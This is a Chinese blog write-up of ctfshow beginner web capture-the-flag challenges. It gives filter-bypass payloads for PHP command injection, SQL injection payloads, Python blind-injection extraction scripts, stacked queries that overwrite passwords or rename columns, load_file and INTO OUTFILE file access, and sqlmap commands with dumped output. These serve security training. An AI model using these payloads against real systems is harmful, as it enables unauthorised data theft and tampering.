ctfshow web入门

发布于 2021-05-29  13850 次阅读


0x00 命令执行

web29

正则表达式匹配flag字符串。

?c=system('ls');
?c=system('cat fl""ag.php');

web30

过滤了 "/flag|system|php/i"

?c=echo `cat fla""g.ph''p`;

web31

过滤了 "/flag|system|php|cat|sort|shell|\.| |\'/i"

?c=echo`tac%09fl*`;

web32

过滤了
```"/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i"```

?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php

web33

过滤了
```"/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i"```

?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php

web34

过滤了
```"/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i"```

?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php

web35

过滤了
```"/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i"```

?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php

web36

过滤了
```"/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i"```

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

过滤了flag,然后eval函数换成了include函数

?c=data://text/plain,<?php system("cat fla*")?>

web38

过滤了 "/flag|php|file/i"

?c=data://text/plain,<?= system("cat fla*")?>

web39

过滤了flag,然后 include($c.".php");

?c=data://text/plain,<?= system("cat fla*")?>

web40

过滤了
```"/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i"``` ,然后接着 `eval($c);`

?c=eval(end(current(get_defined_vars())));&a=system("cat fla*");

web41

过滤了
```'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'```。留了个 `|` 没有过滤。

学着师傅们的wp也写了个脚本:

# -- coding:UTF-8 --
import requests
import urllib
import re
from sys import *

url = 'http://5a6fd715-4edd-41b9-8c6d-8873d339ff98.challenge.ctf.show:8080/'


def write_rce():
    result = ''
    preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
    for i in range(256):
        for j in range(256):
            if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
                k = i | j
                if 32 <= k <= 126:
                    a = chr(k) + ' %' + hex(i)[2:].zfill(2) + ' %' + hex(j)[2:].zfill(2) + '\n'
                    result += a
    with open('rce.txt', 'w') as f:
        f.write(result)


def get(context):
    a1 = ''
    b1 = ''
    for i in context:
        with open('rce.txt', 'r') as f:
            while True:
                line = f.readline()
                if line == '':
                    break
                if line[0] == i:
                    a1 += line[2:5]
                    b1 += line[6:9]
                    break
    return '("' + a1 + '"|"' + b1 + '")'


def main():
    write_rce()
    function = 'system'
    parm = 'cat flag.php'
    a1 = get(function)
    b1 = get(parm)
    data = {'c': urllib.parse.unquote(a1 + b1)}
    res = requests.post(url, data=data)
    print(res.text)


main()

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

直接拼接就好了。
?c=tac flag.php;

web43

过滤了cat和分号。

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac flag.php||

web44

过滤了flag,通配符绕过就行了。

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac fla*%0a

web45

过滤了空格
?c=tac%09fla*%0a

web46

过滤了 [0-9]|$|*
?c=tac<fla''g.php||

web47

过滤了一堆读文件的,但是没过滤完
?c=tac<fla''g.php||

web48

?c=tac<fla''g.php||

web49

?c=tac<fla''g.php||

web50

?c=tac<fla''g.php||

web51

tac过滤了还有nl。

?c=nl<fla''g.php||

web52

大小于号被过滤了,但是 $ 没有过滤了。不过flag在根目录下了。

?c=nl${IFS}/fla''g||

web53

过滤了很多,而且不用命令拼接了,直接执行命令。

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

?c=nl${IFS}fla''g.php

web54

匹配加强了。

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

可以通过通配符绕过。
?c=/bin/c??${IFS}????????

0x01 SQL注入

MySQL5.0以上版本内置了information_schema库,存储了所有的数据库名、表名、列名
information_schema.tables 记录表名信息
information_schema.columns 记录列名信息
TABLE_SCHEMA 数据库字段
table_name 表名
column_name 列名

获取字段数:order by 临界值
获取库名:database()

union语句:将不同表的两个列查询的数据去重拼接
union all :不去重

web171

1' order by 3 --+ 没有报错,1' order by 4 --+ 报错,字段数为3。

SQL语句拼接union注入。

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
1' union select id,username,password from ctfshow_user --+

web172

存在检查逻辑如下,也就是说返回的username中不能包含flag字段,而且拼接的SQL语句中告诉了我们表名为ctfshow_user2

    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

使用base64绕过,结果发现flag在password中,检查username也没用。

1' union select 1,2--+
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
1' union select to_base64(username),password from ctfshow_user2 --+

web173

和上一题一样,base64绕过正则检查。

1' union select 1,2,3--+
1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
1' union select to_base64(id),to_base64(username),to_base64(password) from ctfshow_user3--+

web174

输入任何数据都没有回显,抓包发现请求的是 v3.php ,修改为 v4.php 有回显了,返回结果为查询失败/查询成功,显然是盲注。

GET /api/v3.php?id=1&page=1&limit=10 HTTP/1.1
Host: b515c315-228e-441c-8b76-1af48ed77cce.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://b515c315-228e-441c-8b76-1af48ed77cce.challenge.ctf.show:8080/select-no-waf-3.php

我们可以写脚本来逐字符爆破flag,利用substr函数来逐字符爆破。

substr(string string,num start,num length);
string为字符串;start为起始位置;length为长度。
注意:mysql中的start是从1开始的。

盲注脚本:

import requests

url = 'http://b515c315-228e-441c-8b76-1af48ed77cce.challenge.ctf.show:8080/api/v4.php?id='

flag = ''

for i in range(1, 46):
    for j in r'0123456789abcdefghijklmnopqrstuvwxyz{}-':
        payload = '''1' and substr((select password from ctfshow_user4 where username="flag"),%d,1)="%c"--+''' % (i, j)
        payload = url + payload
        res = requests.get(payload)
        if 'admin' in res.text:
            flag += j
            print(flag)
            break

web175

过滤了所有字符,可以使用时间盲注,淦。

import time

import requests

url = 'http://9f96efd3-fa6a-487b-a9be-d4b7ddeda453.challenge.ctf.show:8080/api/v5.php?id='

flag = ''

for i in range(1, 46):
    for j in r'0123456789abcdefghijklmnopqrstuvwxyz{}-':
        before_time = time.time()
        payload = '''1' and if(substr((select password from ctfshow_user5 where username="flag"),%d,1)="%c",sleep(3),0)--+''' % (i, j)
        payload = url + payload
        res = requests.get(payload)
        after_time = time.time()
        if (after_time - before_time) >= 2.8:
            flag += j
            print(flag)
            break

还可以利用读写文件写入网站根目录
http://9f96efd3-fa6a-487b-a9be-d4b7ddeda453.challenge.ctf.show:8080/api/v5.php?id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+&page=1&limit=10
之后访问 http://9f96efd3-fa6a-487b-a9be-d4b7ddeda453.challenge.ctf.show:8080/1.txt

牛!

web176

1' union select 1,2,3--+ 没有回显,一个是过滤了。

尝试 1' or 1=1 --+ 直接出flag了。

1' union Select 1,2,3--+ 有回显了,应该是select被过滤了,使用大小写就可以进行绕过。

payload:

1' union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
1' union Select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+
1' union Select id,username,password from ctfshow_user --+

web177

过滤了空格和 - + * # 等注释符,可以使用 %09 来替换空格, %23 来替换注释符。

payload:

1'%09union%09Select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()%23
1'%09union%09Select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='ctfshow_user'%23
1'%09union%09Select%09id,username,password%09from%09ctfshow_user%09%23

web178

同web177使用 %09 来替换空格, %23 来替换注释符。

payload:

1'%09union%09Select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()%23
1'%09union%09Select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='ctfshow_user'%23
1'%09union%09Select%09id,username,password%09from%09ctfshow_user%09%23

web179

%09 也被过滤了,可以使用 %0c 来替换空格。

payload:

1'%0cunion%0cSelect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()%23
1'%0cunion%0cSelect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'%23
1'%0cunion%0cSelect%0cid,username,password%0cfrom%0cctfshow_user%0c%23

web180-182

payload:

URL/api/?id='or(mid(username,1,1)='f')and'1'='1

MID(column_name,start[,length])
column_name:必需。要提取字符的字段。
start:必需。规定开始位置(起始值是 1)。
length:可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

web183

过滤:

  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

使用盲注,用left函数截取 pass 字段的前n位来匹配flag,如果匹配上了,查询结果就会返回 $user_count = 1; ,然后就可以借此爆破flag。

import requests

url = 'http://11c8575b-2ba5-4ef7-8a77-118372621e4a.challenge.ctf.show:8080/select-waf.php'
data = {'tableName': ''}
flag = 'ctf'
s = requests.session()

for i in range(3, 46):
    for j in r'0123456789abcdefghijklmnopqrstuvwxyz{}-':
        data['tableName'] = "(ctfshow_user)where(left(pass,%d))like'%s'" % (i, flag + j)
        res = requests.post(url, data=data)
        if '$user_count = 1;' in res.text:
            flag = flag + j
            print(flag)
            break

left ( string, n ) string为要截取的字符串,n为长度。

web184

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

这里使用right join连接查询来进行盲注

import requests

url = 'http://3da5e0e4-7c38-4d10-99ff-48d5619c4260.challenge.ctf.show:8080/select-waf.php'

data = {'tableName': ''}
flag = 'ctfshow'

for i in range(8, 46):
    for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
        k = ord(j)
        data['tableName'] = f"ctfshow_user as x right join ctfshow_user as y on (substr(y.pass,{i},1)regexp(char({k})))"
        res = requests.post(url, data=data)
        if '$user_count = 43;' in res.text:
            flag = flag + j
            print(flag)
            break

right join:用于获取右表中的所有记录,即使左表没有对应匹配的记录。

web185

过滤:

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

这题将数字也给过滤掉了,可以使用 true 来绕过,一个 true 表示1,数字就用 true 来累加就可以了。

import requests

url = 'http://63903370-1d58-496f-b478-4263d5293b63.challenge.ctf.show:8080/select-waf.php'

data = {'tableName': ''}
flag = 'ctfshow'


def trueNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
    return num


for i in range(8, 46):
    for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
        k = ord(j)
        data['tableName'] = f"ctfshow_user as x left join ctfshow_user as y on (substr(x.pass,{trueNum(i)},{trueNum(1)})regexp(char({trueNum(k)})))"
        res = requests.post(url, data=data)
        if '$user_count = 43;' in res.text:
            flag = flag + j
            print(flag)
            break

web186

过滤:

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

脚本同上一题:

import requests

url = 'http://b3bf5bb0-ca8c-486c-ad9b-a4000356dfa9.challenge.ctf.show:8080/select-waf.php'

data = {'tableName': ''}
flag = 'ctfshow'


def trueNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
    return num


for i in range(8, 46):
    for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
        k = ord(j)
        data['tableName'] = f"ctfshow_user as x left join ctfshow_user as y on (substr(x.pass,{trueNum(i)},{trueNum(1)})regexp(char({trueNum(k)})))"
        res = requests.post(url, data=data)
        if '$user_count = 43;' in res.text:
            flag = flag + j
            print(flag)
            break

web187

逻辑:

    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    }

这里使用了mds函数将输入的密码转化为十六进制,然后SQL语句如下,这里如果我们使得 md5($_POST['password'],true) 的返回值为 'or'6,那么SQL语句就变为了下面这样,而6不为0就返回真值,显然可以绕过密码。

  $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

"select count(*) from ctfshow_user where username = 'admin' and password= ''or'6'"

ffifdyop129581926211651571912466741651878684928的md5都包含 'or'6 ,输入 adminffifdyop 就可以成功登陆。

web188

查询语句

 $sql = "select pass from ctfshow_user where username = {$username}";

返回逻辑

  //用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

在SQL语句中,当字符串与数字进行比较时,字符串如果首字符为数字则返回数字,如果不为数字则返回0,也就是说首字符非数字的字符串与0进行比较永远为真。

也就是说直接填入两个0就可以登陆成功。

web189

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";

过滤:

  //用户名检测
  if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

选择使用盲注,题目说了 flag在api/index.php文件中 ,所以我们先利用 locate 函数找到flag在文件中的位置,然后逐字符爆破flag。

import requests

url = 'http://5ceae12d-16df-44c4-969c-c31d38224eed.challenge.ctf.show:8080/api/'
data = {'username': '', 'password': 123}


def getIndex():
    start = 1
    tail = 300
    mid = (start + tail) >> 1
    while start < tail:
        mid = (start + tail) >> 1
        data['username'] = "if(locate('ctfshow',load_file('/var/www/html/api/index.php'))>{0},0,1)".format(str(mid))
        res = requests.post(url, data=data)
        if "密码错误" in res.json()['msg']:
            start = mid + 1
        else:
            tail = mid
    return mid


def getFlag(num):
    flag = ''
    for i in range(int(num)+1, int(num) + 46):
        for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
            data['username'] = 'if(ascii(substr(load_file("/var/www/html/api/index.php"),%d,1))!=%d,0,1)' % (i, ord(j))
            res = requests.post(url, data=data)
            if "密码错误" != res.json()['msg']:
                flag += j
                print(flag)
                break


getFlag(getIndex())

web190

一道布尔盲注,登录时会返回用户名是否存在,我们可以通过返回的布尔值逐字节爆破。

  $sql = "select pass from ctfshow_user where username = '{$username}'";

单引号闭合前面的单引号,最后 # 注释掉之后的单引号。

import requests

url = 'http://ca38734e-d5a6-4a25-8ee6-d0022cd31946.challenge.ctf.show:8080/api/'
data = {'username': '', 'password': 1}
flag = ''

for i in range(1, 46):
    first = 32
    tail = 127
    while first < tail:
        mid = (first + tail) >> 1
        # payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        payload = 'select concat(f1ag) from ctfshow_fl0g'
        data['username'] = f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,2)=1#"
        res = requests.post(url, data=data)
        if '密码错误' in res.json()['msg']:
            first = mid + 1
        else:
            tail = mid

    flag = flag + chr(first)
    print(flag)

web191

遇上一题类似,但是过滤了ASCII,用 ord() 替代就行了。

import requests

url = 'http://756c1350-457e-4fbe-9320-91019922ca76.challenge.ctf.show:8080/api/'
data = {'username': '', 'password': 1}
flag = ''

for i in range(1, 46):
    first = 32
    tail = 127
    while first < tail:
        mid = (first + tail) >> 1
        # payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        payload = 'select concat(f1ag) from ctfshow_fl0g'
        data['username'] = f"admin' and if(ord(substr(({payload}),{i},1))>{mid},1,2)=1#"
        res = requests.post(url, data=data)
        if '密码错误' in res.json()['msg']:
            first = mid + 1
        else:
            tail = mid

    flag = flag + chr(first)
    print(flag)

web192

过滤增加了ord和hex。

    if(preg_match('/file|into|ascii|ord|hex/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

那么可以使用正则表达式来判断,只是不能使用二分了速度就比较慢了。

import requests

url = 'http://4180e6a7-9d49-42c8-812e-caf8c5b2de1b.challenge.ctf.show:8080/api/'
data = {'username': '', 'password': 1}
flag = ''

for i in range(1, 46):
    for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
        # payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        payload = 'select concat(f1ag) from ctfshow_fl0g'
        data['username'] = f"admin' and if(substr(({payload}),{i},1)regexp('{j}'),1,2)=1#"
        res = requests.post(url, data=data)
        if '密码错误' in res.json()['msg']:
            flag = flag + j
            print(flag)

web193

substr 也给过滤了。

    if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

用like去匹配。

import requests

url = 'http://09186581-887b-4d50-8780-da1bab4717ba.challenge.ctf.show:8080/api/'
data = {'username': '', 'password': 1}
flag = ''

for i in range(len(flag) + 1, 46):
    for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz},_':
        # payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'"
        payload = 'select concat(f1ag) from ctfshow_flxg'
        data['username'] = f"admin' and if(({payload}) like '{flag + j + '%'}',1,0)#"
        # print(data['username'])
        res = requests.post(url, data=data)
        if '密码错误' in res.json()['msg']:
            flag = flag + j
            print(flag)
            break

web194

过滤:

    if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));

用上一题的脚本也能跑

import requests

url = 'http://7bba0150-9696-4410-8ec6-60c6bb8a0f03.challenge.ctf.show:8080/api/'
data = {'username': '', 'password': 1}
flag = ''

for i in range(len(flag) + 1, 46):
    for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz},_':
        # payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'"
        payload = 'select concat(f1ag) from ctfshow_flxg'
        data['username'] = f"admin' and if(({payload}) like '{flag + j + '%'}',1,0)#"
        # print(data['username'])
        res = requests.post(url, data=data)
        if '密码错误' in res.json()['msg']:
            flag = flag + j
            print(flag)
            break

web195

过滤了很多。

  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

这道题是用的堆叠注入,堆叠注入,就是将语句堆叠在一起进行查询,使用分号将之前的语句闭合,然后再写入一条新的语句。

将表中所有密码修改为1,登陆获得flag。

0;update`ctfshow_user`set`pass`=1

web196

限制了用户名长度为16,但是过滤的是其实是 s1ect 不是 select,麻了。

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }
0;select(1)
0

web197

用户名长度没有限制了,但是updata 被ban了。

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

可以修改字段 idpass,修改 passid ,这样登录时查询到的就是原来的id了,然后爆破id就可以了。

import requests

url = 'http://c633eb72-d188-4971-bf2f-fd0343619030.challenge.ctf.show:8080/api/'
data = {'username': '', 'password': 0}

for i in range(100):
    if i == 0:
        data['username'] = '0;alter table ctfshow_user change column `pass` `ppp` varchar(255);' \
                           'alter table ctfshow_user change column `id` `pass` varchar(255);' \
                           'alter table ctfshow_user change column `ppp` `id` varchar(255);'
        data['password'] = f'{i}'
        res = requests.post(url, data=data)
    data['username'] = '0'
    data['password'] = f'{i}'
    res = requests.post(url, data=data)
    if '登陆成功' in res.json()['msg']:
        print(res.text)
        break

web198

同197

web199

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

可以使用 0;show tables; 来获取表名,然后password输入 ctfshow_user$row[0]==$password 成立,输出flag。

web200

同199,这些好像都能用这个直接打通。

web201

--referer="xxx.xxx" 指定referer
当--level参数设定为3或者3以上的时候会尝试对referer注入


--user-agent=AGENT 修改UA头
默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用--user-agent参数来修改,
同时也可以使用--random-agent参数来随机的从./txt/user-agents.txt中获取。当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入

寻找注入点。

python sqlmap.py -u http://9329c567-a22c-48d4-8c6a-2b79c75fc1ec.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show"

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5589=5589 AND 'IMvs'='IMvs

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 9309 FROM (SELECT(SLEEP(5)))iGSy) AND 'mTGH'='mTGH

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x716b6b6a71,0x485568414845726655654d5650686b535a536c726f7779756965444f474f76425277697569447a51,0x717a7a7671),NULL,NULL-- Vcem
---

查数据库名

python sqlmap.py -u http://9329c567-a22c-48d4-8c6a-2b79c75fc1ec.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" --dbs

[19:52:41] [INFO] fetching database names
available databases [5]:
[*] ctfshow_web
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

查表名

python sqlmap.py -u http://9329c567-a22c-48d4-8c6a-2b79c75fc1ec.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" --tables

Database: ctfshow_web
[1 table]
+----------------------------------------------------+
| ctfshow_user                                       |
+----------------------------------------------------+

查字段名

python sqlmap.py -u http://9329c567-a22c-48d4-8c6a-2b79c75fc1ec.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns

Database: ctfshow_web
Table: ctfshow_user
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int(11)      |
| pass     | varchar(255) |
| username | varchar(255) |
+----------+--------------+

查数据

python sqlmap.py -u http://9329c567-a22c-48d4-8c6a-2b79c75fc1ec.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump

Database: ctfshow_web
Table: ctfshow_user
[21 entries]
+-----------------------------------------------+
| pass                                          |
+-----------------------------------------------+
| passwordAUTO                                  |
| passwordAUTO                                  |
| passwordAUTO                                  |
| passwordAUTO                                  |
| passwordAUTO                                  |
| passwordAUTO                                  |
| admin__                                       |
| 111                                           |
| passwordAUTO                                  |
| passwordAUTO                                  |
| 222                                           |
| passwordAUTO                                  |
| passwordAUTO                                  |
| passwordAUTO                                  |
| passwordAUTO                                  |
| passwordAUTO                                  |
| passwordAUTO                                  |
| passwordAUTO                                  |
| ctfshow{e1ef0d4c-a793-4afc-9397-8fa256cf30e6} |
| passwordAUTO                                  |
| passwordAUTO                                  |
+-----------------------------------------------+

web202

--data= 通过POST提交数据

python sqlmap.py -u http://c8cff09e-6a50-4252-a771-80695daf0a36.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1"

python sqlmap.py -u http://c8cff09e-6a50-4252-a771-80695daf0a36.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1" --dbs

python sqlmap.py -u http://c8cff09e-6a50-4252-a771-80695daf0a36.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1" --tables

python sqlmap.py -u http://c8cff09e-6a50-4252-a771-80695daf0a36.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1" -D ctfshow_web -T ctfshow_user --columns

python sqlmap.py -u http://c8cff09e-6a50-4252-a771-80695daf0a36.challenge.ctf.show:8080/api/ --referer="ctf.show" --data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump

web203

-method= 指定请求方法

python sqlmap.py -u http://4eaf783b-ade6-458a-93f6-8b0f6a61cde6.challenge.ctf.show:8080/api/index.php --referer=ctf.show --method=PUT --data="id=1" --header="Content-Type: text/plain"

python sqlmap.py -u http://4eaf783b-ade6-458a-93f6-8b0f6a61cde6.challenge.ctf.show:8080/api/index.php --referer=ctf.show --method=PUT --data="id=1" --header="Content-Type: text/plain" --dbs

python sqlmap.py -u http://4eaf783b-ade6-458a-93f6-8b0f6a61cde6.challenge.ctf.show:8080/api/index.php --referer=ctf.show --method=PUT --data="id=1" --header="Content-Type: text/plain" --tables

python sqlmap.py -u http://4eaf783b-ade6-458a-93f6-8b0f6a61cde6.challenge.ctf.show:8080/api/index.php --referer=ctf.show --method=PUT --data="id=1" --header="Content-Type: text/plain" -D ctfshow_web -T ctfshow_user --columns

python sqlmap.py -u http://4eaf783b-ade6-458a-93f6-8b0f6a61cde6.challenge.ctf.show:8080/api/index.php --referer=ctf.show --method=PUT --data="id=1" --header="Content-Type: text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump

web204

--cookie= 指定cookie的值

python sqlmap.py -u "http://181de2ee-8b65-4832-86b0-807b88542bdd.challenge.ctf.show:8080/api/index.php" --data="id=1" --referer=ctf.show --header="Content-Type:text/plain" --method=PUT  --cookie="PHPSESSID=nqm6j922k8l4p8p3lhudqul7g1;ctfshow=872498cc61df21b3f93b1f65ba0890f6"

